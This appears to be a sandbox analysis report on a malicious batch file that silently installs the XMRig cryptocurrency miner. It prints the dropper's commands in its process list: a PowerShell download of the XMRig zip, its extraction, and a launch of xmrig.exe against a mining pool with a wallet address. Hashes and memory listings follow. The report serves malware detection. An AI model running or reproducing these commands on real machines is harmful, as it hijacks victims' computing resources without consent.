Analysis

  • max time kernel
    1798s
  • max time network
    1800s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    30-12-2023 07:23

General

  • Target

    tesy - Copy (6).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3680
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (6).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:216
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:712
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2876

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    858297b2d6876d6cc0cf6925e509aefe

    SHA1

    dabde2d8f57d941d5a210fec1abb9a69e700decb

    SHA256

    a3e5d0d13c86f65858ed6b236b1f935b5c5738e3b4745e6ff87d8d191ff347bb

    SHA512

    3ec2de4ae22e238e77fab87427b02f7b48957dd0cba66c23143c587432dcacde44b9f095d6445890cd39651245db71ea9fdb5e4d6b5fa2dcc92a0857cf3c01c6

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kdofxtcj.c3r.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    93KB

    MD5

    005d2eeb829eb8cac7fe954b36f12faf

    SHA1

    ab0e77eba8ed3de32a3f2ca0a55fa5d6d7eb53aa

    SHA256

    8fcb7390ff944097ab26bb0e93449b13da976e6d95ab2e3cad2dc8d066a0edd7

    SHA512

    62889c41e1e219ad904ed0653ee31647385572a766a06645b5ae489a1ea48fb3046b200ec887879dc17858b0f9eaab48ffd92f831dc0327c52bef996758e42b2

  • memory/712-117-0x00007FFC8CBF0000-0x00007FFC8D5DC000-memory.dmp

    Filesize

    9.9MB

  • memory/712-80-0x0000015554F40000-0x0000015554F52000-memory.dmp

    Filesize

    72KB

  • memory/712-93-0x0000015554D80000-0x0000015554D8A000-memory.dmp

    Filesize

    40KB

  • memory/712-66-0x0000015554EF0000-0x0000015554F00000-memory.dmp

    Filesize

    64KB

  • memory/712-42-0x00007FFC8CBF0000-0x00007FFC8D5DC000-memory.dmp

    Filesize

    9.9MB

  • memory/712-43-0x0000015554EF0000-0x0000015554F00000-memory.dmp

    Filesize

    64KB

  • memory/712-45-0x0000015554EF0000-0x0000015554F00000-memory.dmp

    Filesize

    64KB

  • memory/2876-143-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-148-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-188-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-187-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-186-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-185-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-184-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-183-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-182-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-181-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-120-0x000001C4AFE20000-0x000001C4AFE40000-memory.dmp

    Filesize

    128KB

  • memory/2876-180-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-121-0x000001C4B1590000-0x000001C4B15B0000-memory.dmp

    Filesize

    128KB

  • memory/2876-122-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-124-0x000001C4B15D0000-0x000001C4B15F0000-memory.dmp

    Filesize

    128KB

  • memory/2876-123-0x000001C4B15B0000-0x000001C4B15D0000-memory.dmp

    Filesize

    128KB

  • memory/2876-125-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-126-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-127-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-129-0x000001C4B15D0000-0x000001C4B15F0000-memory.dmp

    Filesize

    128KB

  • memory/2876-128-0x000001C4B15B0000-0x000001C4B15D0000-memory.dmp

    Filesize

    128KB

  • memory/2876-130-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-131-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-132-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-133-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-134-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-135-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-136-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-137-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-138-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-139-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-140-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-141-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-142-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-179-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-144-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-145-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-146-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-147-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-178-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-149-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-150-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-151-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-152-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-153-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-154-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-155-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-156-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-157-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-158-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-159-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-160-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-161-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-162-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-163-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-164-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-165-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-166-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-167-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-168-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-169-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-170-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-171-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-172-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-173-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-174-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-175-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-176-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/2876-177-0x00007FF60EEB0000-0x00007FF60F9B3000-memory.dmp

    Filesize

    11.0MB

  • memory/3680-34-0x00007FFC8CBF0000-0x00007FFC8D5DC000-memory.dmp

    Filesize

    9.9MB

  • memory/3680-4-0x000002497F890000-0x000002497F8B2000-memory.dmp

    Filesize

    136KB

  • memory/3680-6-0x00007FFC8CBF0000-0x00007FFC8D5DC000-memory.dmp

    Filesize

    9.9MB

  • memory/3680-10-0x000002497F940000-0x000002497F9B6000-memory.dmp

    Filesize

    472KB

  • memory/3680-25-0x000002497F700000-0x000002497F710000-memory.dmp

    Filesize

    64KB

  • memory/3680-9-0x000002497F700000-0x000002497F710000-memory.dmp

    Filesize

    64KB

  • memory/3680-8-0x000002497F700000-0x000002497F710000-memory.dmp

    Filesize

    64KB

  • memory/3680-26-0x00007FFC8CBF0000-0x00007FFC8D5DC000-memory.dmp

    Filesize

    9.9MB

  • memory/3680-27-0x000002497F700000-0x000002497F710000-memory.dmp

    Filesize

    64KB

  • memory/3680-28-0x000002497F700000-0x000002497F710000-memory.dmp

    Filesize

    64KB

  • memory/3680-29-0x000002497F700000-0x000002497F710000-memory.dmp

    Filesize

    64KB